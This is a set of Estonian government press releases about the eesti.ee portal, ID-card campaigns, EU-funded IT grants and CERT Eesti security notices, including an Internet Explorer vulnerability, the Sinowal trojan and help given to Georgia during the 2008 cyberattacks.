Kui varem kasutati riigiportaalis kõige rohkem oma andmete kontrolli ja elukohateate esitamist, siis nüüd aktiveeritakse hoopis @eesti.ee lõpuga e-postiaadresse. Kampaania kahe esimese nädala jooksul hakkas enda @eesti.ee e-posti aadressi kasutama 10 319 inimest. Võrdluseks, vahetult enne teavituse algust aktiveeriti kahe nädala jooksul 4845 postiaadressi.

Eesti.ee valdkonnajuht Geroli Peedu sõnul selgub tagasisidest, et portaali kasutajad hindavad võimalust leida info ja e-teenused ühest kohast. „Inimesed leiavad, et portaalis on infot piisavalt või kohati isegi liiga palju, samas aga soovivad leida kõik e-teenused ühest kohast. Samuti arvavad kasutajad, et portaal võiks olla lihtsam“.

Eestlastest tagasiside andnud soovivad, et riigiportaal oleks kasutajasõbralikum. Venekeelsed kasutajad ootaksid riigiportaalilt rohkem venekeelset infot avalike teenuste ning seadusandluse kohta. Samuti panevad venekeelsed kasutajad ette  luua foorum, kus elanikel oleks võimalik otse suhelda nii ametnike kui Eesti poliitikutega. Lisaks sooviksid nad riigiportaali vahendusel saada tasuta juriidilist abi ning lugeda Eesti seaduste venekeelseid tõlkeid.

Et anda riigiportaali kohta tagasisidet, tuleb avada internetis lehekülg www.eesti.ee, klikata küsitluse lingile ja jätta oma arvamus. Soovi korral võib lisada oma e-posti aadressi edasiste arengute kohta tagasiside saamiseks.

RIA kinnitas kahe avatud taotlusvooru edukad projektid. Seekord toetavad EL struktuurifondid teabe kättesaadavuse parandamist ja paberivaba asjaajamise loomist.

Teabe kättesaadavust parandamiseks anti roheline tee kuuele projektile, selleks eraldati kokku pea 30 miljonit krooni. Eesti Rahvusringhääling töötab välja audivisuaalse kultuuripärandi ja teabe digihoidla, mis on tulevikus avalik ning kuhu saab siseneda ID-kaardiga. Samuti teeb Eesti Rahva Muuseum veebis avalikuks fotoarhiivi ja vaibakogu, mis enne selle tarbeks digitaliseeritakse. Riigikantselei soovib arendada veebilehtesid, Maa-amet parandab aadressiandmete kättesaadavust. Siseministeerium soovib digitaalseks teha perekonnaseisuandmed.
Heaks kiidetud projekte näeb siit.

Dokumendihaldussüsteemide kaasajastamiseks kiideti heaks 22 projekti eeltaotlused 46,5 miljoni krooni eest. Selle taotlusvooru eesmärk on aidata asutustel üle minna paberivabale asjaajamisele. Toetust said taotleda riigiasutused, kohalikud omavalitsused ja nende liidud.
Projektide nimekirja leiab siit.

Eeltaotluse rahuldamise otsus tagab projekti elluviimiseks taotletud summa broneerimise. Toetuse taotlejal on nüüd kuus kuud aega hangete läbi viimiseks ja aasta projekti ellu viimiseks.

Tänasest algav teavituskampaania „Eesti.ee- uks e-riiki“ kutsub inimesi portaaliga eesti.ee tutvuma. Korraldajad ootavad küsitluse kaudu tagasisidet portaali hetkeseisust, ootustest tulevikule ning e-teenuste kasutamisest laiemalt. Ühtlasi luuakse huvilistest riigiportaali arendustiim, kellel on ka tulevikus võimalik portaali arendamiseks ettepanekuid teha.

Kampaania „Eesti.ee – uks eesti riiki“ tutvustab riigi keskset e-teenuste keskkonda. Portaali haldava Riigi Infosüsteemide Arenduskeskuse programmijuht Agne Kivisaare sõnul on riigiportaali arengus jõutud uude etappi ning hetkel on valmimas visioon 2011 aastaks. Kivisaare hinnangul on Eesti inimeste teadlikkus riigi e-teenustest veel tagasihoidlik ning alanud kampaania eesmärk on nii teadlikkuse tõstmine kui ka Eesti inimeste kaasamine portaali arendamisse ettepanekute ja arvamuste näol. „Meile on oluline, et me teaksime nende inimeste ootusi, kellele me seda portaali teeme“, rõhutas Kivisaar kodanike kaasamise tähtsust. Selleks koostasid riigiportaali arendajad küsitluse, mis avaneb eesti.ee esilehelt. Kivisaar lisas, et eesti.ee kampaania on üks neljast 2009. aastal toimuvast algatusest, mis keskendub just Eesti inimeste initsiatiivile ja koos tegutsemise soovile.

Kampaania „Eesti.ee – uks e-riiki“ slogan peegeldab Kivisaare sõnul kõige täpsemalt riigiportaali olemust. „Eesti.ee on nagu uks, mille avamisel avanevad pea kõik riiklikud e-teenused ning inimene saab lihtsalt oma toimingud korda ajada“, tutvustas Kivisaar. Teavituskampaania kanalid on
riigiportaal eesti.ee, teised Eesti Interneti-keskkonnad, välireklaamipinnad ning trüki- ja telemeedia.

Riigiportaali valdkonnajuht Geroli Peedu sõnul on lõppemas riigiportaali arendamise etapp, mille tulemusel on valminud suurim riigi e-teenuste keskkond. Järgmise perioodi eesmärk on personaliseeritud riigiportaali arendamine. Igale kodanikule luuakse kasutaja personaalne lehekülg ehk kodanikukonto, kust inimene leiab just temale suunatud info ja teenused. “Näiteks teavitab portaal kasutajat, kui tema Euroopa ravikindlustuskaart on aegumas ja soovitab e-teenust selle uuendamiseks”, rääkis Peedu. Peedu lisas, et nii saab igaüks kiiresti ja ühest kohast ülevaate temaga seotud riigiasjadest. Lisaks on juba täna käimas keskse ettevõtja vaate arendamine, mille tulemusel tekib ettevõtjale värav, kuhu on koondatud nii ettevõtlusalane info kui e-teenused. Samuti jätkatakse riigiasutuste e-teenuste lõimimist eesti.ee portaaliga.

Riigiportaal eesti.ee on Riigi Infosüsteemide Arenduskeskuse (RIA) hallatav riigi keskne portaal. Portaali eesmärk on pakkuda kodanikule, ettevõtjale ning ametnikule võimalust leida usaldusväärset informatsiooni, kontaktandmeid ning avalikke e-teenuseid ühtsest turvalisest keskkonnast. Iga päev külastab riigiportaali umbes 4000 inimest. Riigiportaal eesti.ee vahendusel on võimalik kasutada umbes sadat avalikku e-teenust, ligi 300 ametlikku e-vormi või blanketti, võimalik lugeda üle 2000 erineva artikli ning liikuda lehelt edasi enam kui 1500 lingi kaudu. Riigiportaal eesti.ee sai alguse 2007.
aastal, kui erinevad riigi teabeportaalid koondati üheks keskkonnaks. Kampaania toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Liidu Regionaalarengu Fond.

Hea ajakirjanik!

Ootame Sind 13. jaanuaril kell 11.30 Rävala 5 viiendal korrusel toimuvale Riigi Infosüsteemide Arenduskeskuse pressibriifingule. Üritusel räägime riigiportaali www.eesti.ee uutest arengutest, tutvustame Eesti elanike võimalusi osaleda riigiportaali arendamisel ja vaatleme, kuidas kasutatakse e-teenuseid.  

Eestit peetakse arenenud e-riigiks kogu maailmas. Meil toimuvad e-valimised, allkirjastatakse digitaalselt dokumente ja asutatakse firmasid Internetis. E-teenused on meie igapäevaelu osa, kuid paraku ei teata neist veel paljusid või puudub oskus nende kasutamiseks. Riigiportaal eesti.ee koondab riigiga seotud e-teenuseid ning on oma arengus jõudnud uude etappi, millesse kaasatakse kõik Eesti elanikud.

Pressiüritusel käsitleme küsimusi:
Milliseid e-teenuseid peamiselt kasutatakse?
Kuidas hinnatakse riigiportaali eesti.ee, milliseks peetakse tema
kasutusmugavust?
Milliseid e-teenuseid riigiportaal vahendab ning palju neid kasutatakse?
Milliseid võimalusi sisaldab portaal Eesti.ee aastal 2011 ja millised
muudatusi plaanitakse lähiajal?
Miks luuakse Eesti elanikest riigiportaali eesti.ee arendustiim ning mida
inimestelt oodatakse?
Milliste eesmärkidega alustatakse riigiportaali teavitusprojekt?
Kuidas seostub algav projekt teiste suurte tänavuste ettevõtmistega –
Innovatsiooniaasta, Teeme ära – Minu Eesti ja osalusveeb osale.ee?

Pressiüritusel osalevad:
Marika Priske, Majandus-ja Kommunikatsiooniministeeriumi kantsler.
Margus Tsahkna, riigiportaali arendustiimi eestvedaja.
Geroli Peedu riigiportaal eesti.ee valdkonnajuht.
Agne Kivisaar, SF „Infoühiskonna teadlikkuse tõstmine“ programmijuht.

Palun oma tulekust teatada telefonil 66 30 233 või e-postile press[ät]ria.ee  

Head ajakirjanikud!
Ootame teid 6. jaanuaril pressikonverentsile, mis toimub teater No99 II korruse fuajees (Sakala 3), algusega kell 13.15. Pressikonverentsi avab president Toomas Hendrik Ilves, kes on innovatsiooniaasta patroon.

Keerulised ajad nõuavad nutikaid inimesi. 2009. aastal toimub vähemalt neli suurt ettevõtmist, mis kannustavad Eesti elanike aktiivsust ühiskonnaelus. Kuigi igaüks on enda nägu, on eesmärk ühine – toetada inimeste tahet oma riigi arengus kaasa mõelda, öelda ja ära teha. Kõik neli algatust kutsuvad julgeid kodanikke üles jagama oma häid ideid teistega ja riigiga ning koos need ka ellu viia.

Anname ülevaate algavatest ettevõtmistest:
Innovatsiooniaasta tegemisi tutvustab meeskonna juht Urmas Kõiv.
Riigiportaali eesti.ee võimalusi tutvustab programmijuht Agne
Kivisaar Riigi Infosüsteemide Arenduskeskusest.
Kodanike osaluskanali osale.ee tulemusi esitleb valitsuse infonõunik
Hille Hinsberg.
Teeme Ära uuest projektist Minu Eesti räägivad projekti vedajad Eva
Truuverk ja Anneli Ohvril.

Palun andke oma tulekust märku aadressil: press[ät]riik.ee

Meil on rõõm edastada positiivseid uudiseid Redmondist, kus Micorsofti arendajad said valmis paigad eelmisel nädalal avaldatud laiaulatuslikule Internet Exploreri turvaveale.

Sellest johtuvalt soovitame Sul uuendada Microsoft Windowsi operatsioonisüsteemi, kui Sinu arvuti seda omal algatusel juba teinud pole.

Täpsemat infot juhtumi saab asjakohastest allikatest:
Microsofti teadaanne IE vea kohta.
Juhtum turvavigade andmebaasis.
Microsofti turvanõuanne.

Äsja valmis ISKE rakendusjuhendi uuendatud versioon 4.01. Kõigi uuenduste alus on BSI etalonsüsteemi uusim saksakeelne versioon.

Uues versioonis uuendati ISKE rakendamise juhendit, muudeti ja täiendati katalooge ning turvaspetsifikatsioone. Muu hulgas lisandusid moodulid IT-kaabelduse, printerite, mobiilsete andmekandjate ja andmekandjatel toimuva infovahetuse kohta. Täiendust sai ka ohtude nimekiri. Versioonis 4.01 tõlgiti originaaljuhendist kõigi moodulite kirjeldused ja paljude turvameetmete kirjeldused.

Kolmeastmelise etalonturvesüsteemi ISKE eesmärk on infosüsteemides töödeldavatele andmetele piisava turvalisuse tagamine. ISKE rakendamine riigisektoris on vastavalt Vabariigi Valitsuse määrusele kohustuslik alates 1. jaanuarist 2008. Uues juhendis lisandunud turvameetmed tuleb rakendada aasta jooksul alates uuendatud ISKE rakendusjuhendi avaldamisest.

ISKE rakendusjuhendi uue versiooni leiab siit.
Kõik parandusettepanekud ja info ebatäpsuste kohta palume saata iske[ät]ria.ee.

Internetis surfajate turvalisus on ohustatud, kuni Microsoft tuleb välja Windowsi veebilehitseja Internet Explorer (IE) parandustega.

Veebis liikumisel peaks enamus IE kasutajad arvestama neid hetkel varitseva ohuga. Nimelt on avastet märkimisväärse mõjuga turvaauk, mille kaudu pahalased veebilehe külastaja arvutis oma kurjaloomulist koodi käivitavad. Turvaaugu kasutamiseks paigaldatakse veebilehtedele spetsiaalselt vormindatud andmed.

CERT Eesti infoturbe ekspert Tarmo Randeli sõnul võib pahatahtliku koodi käivitamine anda kurjategijatele kontrolli kasutaja arvuti üle. “Selle tagajärjel muutub zombistunud arvuti kurjategijate töövahendiks. Zombi-arvuteid kasutatakse uute viiruste levitamisel, arvutikasutajate andmeid varastatakse. Nende arvutite abil võidakse blokeerida ka Sinu lemmiksait,” selgitab Randel.

Tavakasutajal võib olla raske järgida kõiki veebis toodud juhiseid enda kaitsmiseks. Sestap toome Sinuni paar lihtsamat nippi, mille järgimine suurendab Sinu turvalisust veebis surfamisel:

- Kasuta arvuti kaitsevahendeid, mis suudavad Sinu arvutit kaitsta veebirünnete vastu: siia alla kuuluvad popimad viirusetõrjujad ja tulemüürid;
- Seni, kuni Microsoft pole avaldanud teemakohaseid uuendusi ja Sa pole neid enda arvutisse laadinud, kaalu võimalust kasutada alternatiivseid veebilehitsejaid (Mozilla Firefox, Opera jt)
- Lülita IE turvalisus tasemele “kõrge” (“high”). Seadista teavitus ActiveX komponentide ja skriptide jooksutamise kohta või lülita viimaste käivitamise võimalus välja. Kui veebilehte külastades soovitakse käivitada ActiveX komponente, siis on turvaline neist keelduda. Negatiivsest mõjust rääkides võib juhtuda, et seda veebilehte ei näe enam korrektselt. Ingliskeelseid juhendeid turvaliseks surfamiseks IEga leiab Microsofti veebist aadressilt http://www.microsoft.com/protect

Kasutajad, kellel viirusetõrjujad-tulemüürid olemas ning IE sätitud turvalisuse tasemele “kõrge”, võivad sedapuhku kergemalt hingata ja rahulikuma südamega veebipoodides jõuluoste teha.

Ühtlasi tuletab CERT Eesti arvutikasutajatele meelde, et jõulud, nagu pühad tavaliselt ikka, on spämmerite meelisaeg. Siinkohal ei pea me silmas Eesti firmade seas hoogustuvat postkastide täitmist soovimatu reklaamiga. Spämmerid saadavad jõulutervituseks maskeeritud kalastuskirja, mille ainus eesmärk on viia Sind veebilehele, kus Sulle üritatakse müüa “medikamente” või siis Sinu arvuti nakatada pahavaraga. Vihjeid turvaliseks käitumiseks leiab ka veebilehelt http://www.assapauk.ee.

Turvaauk tekkis programmeerijate veast DHTML andmeseoste käsitlemisel. Huvilised saavad sellest pikemalt lugeda Microsofti ametlikest ja natuke vähem ametlikest infokanalitest:
Microsofti ametlik leht
Technet blogi

Majandus- ja Kommunikatsiooniministeerium kuulutas välja konkursi Parim Sisuteenus 2009, mille eesmärk on välja valida parimad Eestis loodud kasutajasõbralikud e-lahendused. Parim Sisuteenus 2009 on ühtlasi rahvusvahelise sisuteenuste konkursi World Summit Award 2009 Eesti eelvoor.

Parimad sisuteenused selgitatakse välja kaheksas kategoorias: äri, haridus, kultuur, teadus, valitsus, tervishoid, meelelahutus ja kaasamine. Konkursist on oodatud osa võtma kõik Eestis registreeritud ja erinevaid sisuteenuseid arendavad firmad, organisatsioonid ja üksikisikud. Konkursile esitatav projekt peab olema valmis kasutamiseks.

Projektide esitamise tähtaeg on 1. veebruar 2009. Võitjad kuulutatakse välja Majandus- ja Kommunikatsiooniministeeriumi iga-aastasel e-Eesti konverentsil 17. veebruaril 2009.

Tunnustust pälvinud projektid esitatakse seejärel rahvusvahelisele konkursile World Summit Award 2009, mille tulemused selguvad aprillis 2009.

Lähem info konkursi kohta: http://e-konkurss.blogspot.com/

Lisainfo:
Katri Ristal
WSA Eesti esindaja
katri.ristal[ät]evm.ee
565 4654

Tänasest algab ID-kaardi kampaania, mille eesmärk on teada anda kaardi elektroonilistest kasutusvõimalustest. Kampaania lehe leiab aadressilt http://www.id.ee/id.

RIA programmijuht Agne Kivisaare sõnul kummutab kampaania ID-kaardi kasutamisega laialt levinud müüte. „ID-kaart on taskus meist enamikul ja selle abil saab paljud toimetused oluliselt kiiremini aetud. Ei ole mõtet uskuda müüti, et kaart kõlbab vaid autoakendelt jää kraapimiseks. Tuleb ise järgi vaadata, mida ID-kaardiga teha saab. Ainuüksi riigiportaalis www.eesti.ee on teenuseid paarisaja ringis“.

Kampaania sõnumit levitatakse televisiooni ja Interneti vahendusel, samuti saadetakse 250 000 majapidamisele otsepost, mis tutvustab ID-kaardi kasutusvõimalusi. Kampaania materjalid ja reklaamid on nii eesti kui vene keeles. Kõiki kampaania materjale näeb siit: http://myydid.id.ee/download

Kampaaniat rahastab ELi programm "Infoühiskonna teadlikkuse tõstmine".

Homme, 19.novembril algab üleriigiline teavituskampaania ID-kaardi kasutusvõimalustest. Uut kampaaniat tutvustame homme kell 11.00 RIA suures saalis (Rävala 5, viies korrus).

Programmijuht Agne Kivisaare sõnul on kampaania  jätk kevadisele kampaaniale, kus püstitati digitaalallkirjastamise maailmarekordit. "Nüüd lähenesime samale teemale hoopis teise nurga alt - millised müüdid on ID-kaardi kohta liikvel ja kui palju neis tõtt peitub?", räägib Kivisaar.

Kampaaniat tutvustavad RIA programmijuht Agne Kivisaar ja Kaarel Mikkin kampaania ideelahenduse loonud agentuurist Division. Kampaaniat rahastatab EL programm "Infoühiskonna teadlikkuse tõstmine".

RIA ootab taotlusi SF avatud taotlusvooru, mille eesmärk on infosüsteemide turvalisuse tõstmine ISKE abil. Toetus aitab asutustel vastavalt etalonturbesüsteemi (ISKE) turvaklassile kasutusele võtta vajalikud ja piisavad turvameetmed.

Toetust võivad taotleda riigiasutused, kohalikud omavalitused ja kohalike omavalitsuste liidud. Taotlusvooru eelarve on 30 miljonit krooni ja taotluste esitamise lõpp-tähtaeg on 15. detsembril kell 17.00.

Taotlus tuleb sisestada elektrooniliselt aadressil:
 www.eesti.ee/projektijuhtimine

Ametlik avatud taotlusvooru kutse
Lisainfo taotlusvoorude kohta
Lisainfo ISKE kohta

Eelmisel nädalal said SF avatud taotlusvoorus kinnituse kuue organisatsiooni 11 eeltaotlust. Vooru eesmärk on Eesti elanike teadmiste ja oskuste parandamine ID-kaardi ja digitaalallkirja kohta.

Eeltaotluste kogusumma on üle 27 miljoni krooni. Eeltaotluse rahuldamine tähendab, et RIA broneerib projekti elluviimiseks taotletud summa. Taotlejal on nüüd kuus kuud aega hangete läbi viimiseks ning RIAle taotluse esitamiseks.

Avatud taotlusvooru „E-keskkonnas olevate teenuste kasutamiseks teadmiste ja oskuste taseme tõstmine sh tugevate autentimisvahendite ja digitaalallkirja kasutamise õpetamine“ rahuldatud eeltaotlused leiab siit.

CERT Eesti andmetel on Eestis umbes tuhatkond troojalane Sinowaliga nakatunud arvutit, mille kasutajate andmed on suure tõenäosusega jõudnud ka kurikaelteni.

CERT Eesti infoturbe ekspert Tarmo Randeli sõnul on Sinowal ohtlik pahalase märkamatu tegevuse tõttu. „Kerge on märgata varast, kes murrab lahti ukse ja lõhub aknaklaasi. Kui vargus toimub nii, et silmnähtavalt midagi ei muutu, on isegi varguse toimumise hetke raske tuvastada, rääkimata osalistest“.

Sinowal kogub nakatunud arvutitest näiteks kasutajate pangakontode ja paroolide andmeid ning saadab need arvutit kontrollivatele kurjategijatele. Ühtlasi talitab ta tavapärase troojalasena, avades kurjategijale vaba pääsu arvutisse.

Need ajad, kui viiruse kood kohe failina arvutisse laekus, on möödas. Viiruste loojad kasutavad arenenud tehnoloogiaid ja see tähendab, et viirusetõrje programmid ei avasta suurt osa arvutisse hiilinud pahalastest. Teisalt on teada, et enamus pahalasi levib kasutaja aktiivse abiga ja viimase lihtsameelsust kasutades. Ka Sinowali probleemi viimati tõstatanu, turvalahendusi pakkuva The Security Division of EMC (RSA) sõnul saavad inimesed hoida oma arvutit nakatumast, olles tähelepanelikum, kuhu minnakse ja millisele lingile vajutatakse. Juhiseid turvaliseks käitumiseks leiab näiteks www.assapauk.ee lehelt. Interneti-panka saab turvalisemalt kasutada ID-kaardi abil.

Kui inimene on siiski arvutiviiruse ohvriks sattunud, tuleb pöörduda asjatundja poole, kes arvuti puhastab. Tuleb meeles pidada, et kui kasutatav antiviirus ei avasta pahalast, proovige alternatiivseid tõrjujaid. Kindlasti vahetage kõik kasutatud kasutajanimed ja paroolid, muutke pangakontode ja FTP kontode sisselogimise koode. Samuti on hea teavitada sõpru, et nad ei usaldaks liialt Sinu e-kirjades või suhtluskeskkondades saadetud linke ja faile.

„Microsofti aasta esimest poolt kajastava turvaraporti järgi on Eestis nakatunud arvutite hulk võrreldes eelmise aastaga tõusnud 18.7%. On selge, et absoluutset kaitset saab küberkuritegevuse sellise vormi vastu pakkuda ainult arvutikasutamisest loobumine, mis pole aga tänases maailmas loomulikult reaalne. On teada, et antiviirused ei leia enam kõiki uusi, rahateenimisele suunatud pahalasi. Seega on viimane aeg hakata arvutit kasutama ka peaga, mitte ainult hiireklikkimise sõrmega“, hoiatab Randel.

CERT Eesti (Computer Emergency Response Team) tegeleb küberturvalisuse tagamisega Eesti riigivõrgus ja korraldab küberturvet riiklikul tasemel.

Riigi infosüsteemi haldussüsteemi ja halduse infosüsteemi (RIHA) infopäev leiab aset 14. novembril Tallinna Ülikooli konverentsikeskuse Tallinna saalis (Uus-Sadama 5, sissepääs Tuukri tänava poolt).

Ürituse orienteeruv kestvus on 10.00-15.00. Infopäevale ootame asutustes infosüsteemide arendamise ja halduse eest vastutajaid, samuti arendajate esindajaid.

Infopäeval saavad sõna järgmiste asutuste esindajad:
- Majandusministeeriumi Riigi Infosüsteemide Osakond kui riigi infosüsteemi koordineerija ja andmekogude kooskõlastaja RIHAs;
- Riigi Infosüsteemide Arenduskeskus kui kolme riigi infosüsteemi kindlustava süsteemi arendamise ja rakendamise korraldaja - RIHA, turvameetmete süsteem ISKE, X-tee;
- Andmekaitse Inspektsioon, Rahvusarhiiv ja Statistikaamet kui andmekogude kooskõlastajad RIHAs;
- Andmekogude haldajate, RIHA kasutajate esindajad.

Infopäevast huvitatutel palume ennast registreerida hiljemalt 10. novembril aadressil www.ria.ee/registreeri

Registreerinutele saadetakse enne üritust ka täpsustatud päevakava ning aadress ligipääsuks infopäeva materjalidele.Infopäeva ruumid mahutavad maksimaalselt 250 inimest, seega ei pruugi viimasel minutil registreerinud enam infopäevale mahtuda.

Infopäev rahastatakse Euroopa Liidu struktuurfondide programmist Infoühiskonna teadlikkuse tõstmine. Osalejatele on infopäev tasuta.

Lisainfo ja küsimused: riha@ria.ee

 RIA direktor kinnitas edukad eeltaotlused SF taotlusvooru „Täisfunktsionaalsete avalike teenuste arendamine e-keskkonnas“ raames. Rahuldati 11 eeltaotlust kokku 52,5 miljoni krooni eest.

Taotlusvooru eesmärk on info- ja kommunikatsioonitehnoloogiat kasutades muuta avaliku teenuse kasutamine inimese jaoks kiiremaks, lihtsamaks või odavamaks.

Eeltaotluse rahuldamise otsus tagab projekti elluviimiseks taotletud summa broneerimise. Toetuse taotlejal on nüüd kuus kuud aega hangete läbi viimiseks ning taotluse esitamiseks Riigi Infosüsteemide Arenduskeskusele.
Nimekirja kinnitatud taotlustest leiate siit.

Riigi Infosüsteemide Arenduskeskus (RIA) alustas 24. septembril 2008.a. struktuuritoetuse taotluste vastuvõttu taotlusvooru „Dokumendihaldussüsteemide kaasajastamine üleminekuks asutuste vahelisele paberivabale asjaajamisele“ raames.

Taotlusvooru eesmärgiks on tehnoloogilise ja organisatsioonilise võimekuse loomine asutuste paberivabaks asjaajamiseks.

Toetust võivad taotleda riigiasutused, kohalikud omavalitsused ja nende liidud. Taotluste esitamise lõpp-tähtaeg on 28. oktoober 2008.a. kell 17.00. Taotlusvooru eelarve on 50 miljonit krooni.

Taotlus tuleb sisestada elektrooniliselt aadressil: www.eesti.ee/projektijuhtimine.  Taotluse deklaratsioon esitada kirjalikult RIA aadressile Rävala 5, 15169 Tallinn või elektrooniliselt aadressile ria@ria.ee. Taotluste esitamise tingimused on toodud majandus- ja kommunikatsiooniministri 28. aprilli 2008 määruses nr 31 „Infoühiskonna edendamise meetme tingimused avatud taotlemise alusel“.

RIA kuulutas 4.septembril välja hanke „Riigiportaal eesti.ee teavituskampaania", mille eesmärk on leida täisteenust pakkuv reklaamiagentuur teavituskampaania korraldamiseks novembris 2008.

Teavituskampaaniaga soovib RIA suurendada Eesti elanike ja e-teenuste pakkujate teadlikkust portaali olemasolu ning pakutavate võimaluste kohta. Kampaania viiakse läbi nii eesti kui vene keeles.

Hanke viitenumber riigihangete registris on 108086. Taotluste esitamise tähtaeg on 12. september 2008 kell 11.00. Loe riigihankest lähemalt.

Lähipäevadel kuulutab RIA välja ka hanke suhtekorraldusbüroo leidmiseks, kes toetaks kampaania teavitustööd ning töötaks välja eesti.ee lähiaastate kommunikatsiooniplaani.

Riigiportaal eesti.ee teavituskampaania toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Liidu Regionaalarengu Fond.

1.septembril lõppes taotlusvoor Eesti elanike koolitamiseks e-teenuste vallas, kuhu esitati projekte 65 miljoni krooni eest. Struktuurifondide vooru eesmärk on inimeste koolitamine avalike e-teenuste kasutamiseks ja võimaluste loomine aktiivseks iseõppeks.

Tähtajaks laekus RIAsse 18 taotlust 9 taotlejalt. Selle taotlusvooru jaoks on eraldatud 30 miljonit krooni, struktuurifondidest küsitakse projektide läbi viimiseks üle 55 miljoni krooni. Kui lisada taotlustele omafinantseering, ulatub projektide kogumaksumus üle 65 miljoni krooni.

Nädalavahetusel jõudsid Eestisse tagasi kaks CERT Eesti spetsialisti, kes aitasid Gruusia kolleege infoturbe alastes küsimustes.

CERT Eesti eksperdid viibisid Tbilisis 12. augustist 16. augustini. Nende eesmärk oli toe pakkumine Gruusia CERTile, et muuta võimalikult palju Gruusia uudisteportaale ja valitsusasutuste kodulehti välismaailmale kättesaadavaks. Kuna paljud küberrünnete alla sattunud kodulehed on paigutatud serveritesse üle maailma, on hetkel surve Gruusia serveritele vähenenud.

Kohalikke aitasid alates küberrünnete algusest, 8.augustist, ka Poola ja Prantsusmaa rahvuslikud CERTid. Kindlasti jätkub Gruusia ja Eesti spetsialistide vaheline koostöö ka tulevikus.

CERTi tegevus
Gruusia CERT on tüüpiline ülikooli CERT, mis kuulub organisatsiooni GRENA (Georgian Research and Educational Networking Association). 8. augustil alanud küberrünnete käigus võtsid nad üle rahvusliku CERTi ülesanded ja koordineerisid rünnete tõrjumist.
Küberrünnete algusest peale on neid aidanud nii Poola kui Prantsusmaa rahvuslikud CERTid, seda nii tehniliselt kui rünnetest teavitamisel. Hetkel on Gruusias ka kaks CERT Eesti eksperti, kes kohalike assisteerivad.

Pangandus
Hetkel on jõus Gruusia keskpanga korraldus peatada kõikides pankades elektrooniline arveldamine.
Alates 9. augusti varahommikust on rünnaku all Gruusia suurim pank, TBC. Panga süsteemiadministraatori sõnul on nad süsteeme umber seadistanud ja üsna kindlad, et suudavad rünnakutele vastu astuda, kui taas teenuseid pakkuma hakkavad.

Interneti teenusepakkujad
Suurima kohaliku Interneti teenusepakkuja Caucasuse andmetel võis ründajate poolne internetiliikluse ümbersuunamine mõjutada väiksemaid Gruusia Interneti teenusepakkujaid. Probleemi võimendas fakt, et füüsiline kaabel jooksis läbi sõjategevuse piirkonna. Tänaseks kogutud informatsioon viitab sellele, et ümbersuunamisest tekkinud probleemid olid oluliselt suuremad, kui riigi sees arvati.
Hetkel ehitab Caucasus Interneti otselinki Lääne-Euroopasse. Lõpetamisel on Musta merd läbistava fiiberoptilise kaabli paigaldamine.
Interneti teenusepakkuja UTG server ei vastanud ja ei olnud võimeline teenust pakkuma. Hetkeks on teenus taastatud.

Kokkuvõtteks võib öelda, et hetkel toimib Internet suhteliselt hästi, mobiilivõrk on veidi ebastabiilsem. Enamus rünnakute all olevaid kodulehti on ajutiselt kolitud erinevatesse paikadesse üle maailma. Näiteks on uudisteagentuur Interpress (http://www.interpress.ge) majutusel firmas Servage. Majutust pakkuva ettevõtte Tulip juures on Gruusia kaitseministeeriumi (http://www.mod.gov.ge) ja presidendi (http://www.president.gov.ge) kodulehed. Eestis on hetkel Gruusia välisministeeriumi (http://www.mfa.gov.ge) ja uudisteportaali Civil (http://www.civil.ge) kodulehed.

Rünnaku all olnud lehed

Teiste hulgas olid DDoS rünnaku all:
www.president.gov.ge   
www.government.gov.ge  
www.parliament.ge  
www.abkhazia.gov.ge  
www.mfa.gov.ge  
www.mod.gov.ge  
www.mes.gov.ge  
www.naec.gov.ge  
www.interpressnews.ge  
www.forum.ge  
www.civil.ge  
www.presa.ge  
www.apsny.ge  
www.rustavi2.com  

Teiste hulgas olid näotustatud:
www.day.az  
www.today.az  
www.ans.az  

Abistamaks Gruusiat küberrünnete tõrjumisel, pakkus Eesti humanitaarabi andmise raames abi ühe Gruusia kodulehe majutamiseks. Hetkel aitab Eesti majutada Gruusia Välisministeeriumi kodulehe serverit, mis näitab lehte http://mfa.gov.ge

Sarnaselt Välisministeeriumi kodulehele on mitmed Gruusia veebilehed maailma eri paigus asuvatesse serveritesse hajutatud. Selle eesmärk on hoida võimalikult palju kodulehti käigus, et nende kaudu välismaailmale infot vahendada.

Täna hommikul jõudsid Armeeniasse ja alustavad sõitu Tbilisi suunas ka kaks CERT Eesti eksperti. Nende eesmärk on abistada kohalikke spetsialiste, et Gruusia uudisteportaalid ja valitsusasutuste kodulehed võimalikult kiiresti maailmale kättesaadavaks teha.

7. augustil kuulutas RIA välja hanke "RIHA juurutusest tulenevate arendustööde tellimine". Hanke eesmärk on arendustööde tegemine RIHA juurutuse käigus kasutajatelt laekunud ettepanekute järgi.  

Hanke viitenumber riigihangete registris on 107755. Taotluste esitamise tähtaeg on 29. september 2008 kell 11.00. Taotlused tuleb esitada Riigi Infosüsteemide Arenduskeskusesse (Rävala 5, V korrus).

Riigi Infosüsteemi Haldussüsteemi (RIHA) kohta saab lugeda SIIT.

Juulikuus valmis RIA-s infosüsteem, mis hõlbustab infoühiskonna arendusprojektidele struktuuritoetuste taotlemist, projektide läbi viimist ja aruandlust.

„Soovime elektroonilise süsteemiga lihtsustada toetuse taotlemist ja vähendada bürokraatiat, seda enam, et erinevalt eelmisest perioodist on taotlejate ring seekord oluliselt laiem. Nüüd saavad riigi ja kohalike omavalitsuste kõrval taotlusi küsida ka mittetulundusühingud ja sihtasutused,“ selgitab RIA valdkonnajuht Geroli Peedu.

Struktuuritoetuse infosüsteemi saab siseneda riigiportaalist eesti.ee, see eeldab kasutaja autentimist ID-kaardi, mobiil-ID või pankade kaudu. Lisaks vajab kasutaja infosüsteemi kasutamise õigust, mille saab anda kas asutuse haldur või RIA kasutajatugi. Kogu taotluste menetlemine kuni rahastamisotsuseni käib samuti süsteemi abil.

RIA uudised
CERT teated
RIA Twitter
Eesti.ee kommuun

Täna andis president Toomas Hendrik Ilves allkirja toetamaks ID-kaardi elektroonilisi kasutusvõimalusi tutvustavat kampaaniat. Teavituskampaania käigus püüeldakse digiallkirjastamise maailmarekordi poole.
 
President Ilvese sõnul sõltub Eesti riigi edukus IT vallas paljuski sellest, kas inimesed on valmis uuendusmeelsete ideedega kaasa minema. „Hetkel oleme maailmas ühed vähesed, kes saavad seaduse silmis anda digitaalset allkirja samamoodi kui paberil, seda lihtsalt ning turvaliselt,“ ütles Eesti riigipea.
 
